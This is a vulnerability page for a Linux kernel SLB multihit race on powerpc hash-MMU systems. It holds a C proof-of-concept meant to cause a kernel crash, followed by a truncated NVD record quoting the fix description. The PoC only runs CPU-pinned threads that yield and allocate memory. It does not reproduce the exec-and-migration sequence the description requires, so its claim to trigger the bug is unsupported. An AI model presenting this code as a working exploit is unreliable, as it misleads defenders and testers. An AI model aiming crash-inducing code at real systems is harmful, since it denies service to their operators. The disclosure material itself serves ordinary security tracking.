CVE-2025-71078

// CVE-2025-71078 PoC - SLB Multihit Trigger // This PoC demonstrates the race condition in SLB preload cache // Note: Actual exploitation requires specific kernel configuration // and timing conditions on powerpc/64s hash MMU systems #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sched.h> #include <unistd.h> #define NUM_ITERATIONS 256 void* cpu_stress_thread(void* arg) { int cpu_id = *(int*)arg; // Set thread affinity to specific CPU cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu_id, &cpuset); sched_setaffinity(0, sizeof(cpu_set_t), &cpuset); // Trigger context switches and SLB operations for (int i = 0; i < NUM_ITERATIONS; i++) { // Force context switch by yielding sched_yield(); // Create memory pressure to trigger cache eviction volatile char* buf = malloc(4096); for (int j = 0; j < 1024; j++) { buf[j] = (char)(i + j); } free((void*)buf); } return NULL; } int main() { printf("CVE-2025-71078 SLB Multihit PoC\n"); printf("Target: Linux Kernel powerpc/64s hash MMU\n"); printf("Requires: Multi-core system with hash MMU enabled\n\n"); // Check if system is vulnerable (powerpc with hash MMU) // This is a simplified demonstration pthread_t threads[2]; int cpu0 = 0, cpu1 = 1; printf("Starting stress test to trigger SLB race condition...\n"); // Create threads on different CPUs to trigger migration pthread_create(&threads[0], NULL, cpu_stress_thread, &cpu0); pthread_create(&threads[1], NULL, cpu_stress_thread, &cpu1); pthread_join(threads[0], NULL); pthread_join(threads[1], NULL); printf("Test completed. Check system logs for SLB errors.\n"); printf("On vulnerable systems, this may cause kernel panic.\n"); return 0; } /* * Actual exploitation requires: * 1. PowerPC 64-bit system with hash MMU * 2. Multiple CPU cores * 3. Specific timing to trigger the race condition * 4. Process must share mm_struct across context switches * * The vulnerability allows triggering SLB multihit error * which typically causes system crash/DoS */

{"cve": {"id": "CVE-2025-71078", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-13T16:16:07.317", "lastModified": "2026-03-25T19:46:32.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/64s/slb: Fix SLB multihit issue during SLB preload\n\nOn systems using the hash MMU, there is a software SLB preload cache that\nmirrors the entries loaded into the hardware SLB buffer. This preload\ncache is subject to periodic eviction — typically after every 256 context\nswitches — to remove old entry.\n\nTo optimize performance, the kernel skips switch_mmu_context() in\nswitch_mm_irqs_off() when the prev and next mm_struct are the same.\nHowever, on hash MMU systems, this can lead to inconsistencies between\nthe hardware SLB and the software preload cache.\n\nIf an SLB entry for a process is evicted from the software cache on one\nCPU, and the same process later runs on another CPU without executing\nswitch_mmu_context(), the hardware SLB may retain stale entries. If the\nkernel then attempts to reload that entry, it can trigger an SLB\nmulti-hit error.\n\nThe following timeline shows how stale SLB entries are created and can\ncause a multi-hit error when a process moves between CPUs without a\nMMU context switch.\n\nCPU 0 CPU 1\n----- -----\nProcess P\nexec swapper/1\n load_elf_binary\n begin_new_exc\n activate_mm\n switch_mm_irqs_off\n switch_mmu_context\n switch_slb\n /*\n * This invalidates all\n * the entries in the HW\n * and setup the new HW\n * SLB entries as per the\n * preload cache.\n */\ncontext_switch\nsched_migrate_task migrates process P to cpu-1\n\nProcess swapper/0 context switch (to process P)\n(uses mm_struct of Process P) switch_mm_irqs_off()\n switch_slb\n load_slb++\n /*\n * load_slb becomes 0 here\n * and we evict an entry from\n * the preload cache with\n * preload_age(). We still\n * keep HW SLB and preload\n * cache in sync, that is\n * because all HW SLB entries\n * anyways gets evicted in\n * switch_slb during SLBIA.\n * We then only add those\n * entries back in HW SLB,\n * which are currently\n * present in preload_cache\n * (after eviction).\n */\n load_elf_binary continues...\n setup_new_exec()\n slb_setup_new_exec()\n\n sched_switch event\n sched_migrate_task migrates\n process P to cpu-0\n\ncontext_switch from swapper/0 to Process P\n switch_mm_irqs_off()\n /*\n * Since both prev and next mm struct are same we don't call\n * switch_mmu_context(). This will cause the HW SLB and SW preload\n * cache to go out of sync in preload_new_slb_context. Because there\n * was an SLB entry which was evicted from both HW and preload cache\n * on cpu-1. Now later in preload_new_slb_context(), when we will try\n * to add the same preload entry again, we will add this to the SW\n * preload cache and then will add it to the HW SLB. Since on cpu-0\n * this entry was never invalidated, hence adding this entry to the HW\n * SLB will cause a SLB multi-hit error.\n */\nload_elf_binary cont\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", ... (truncated)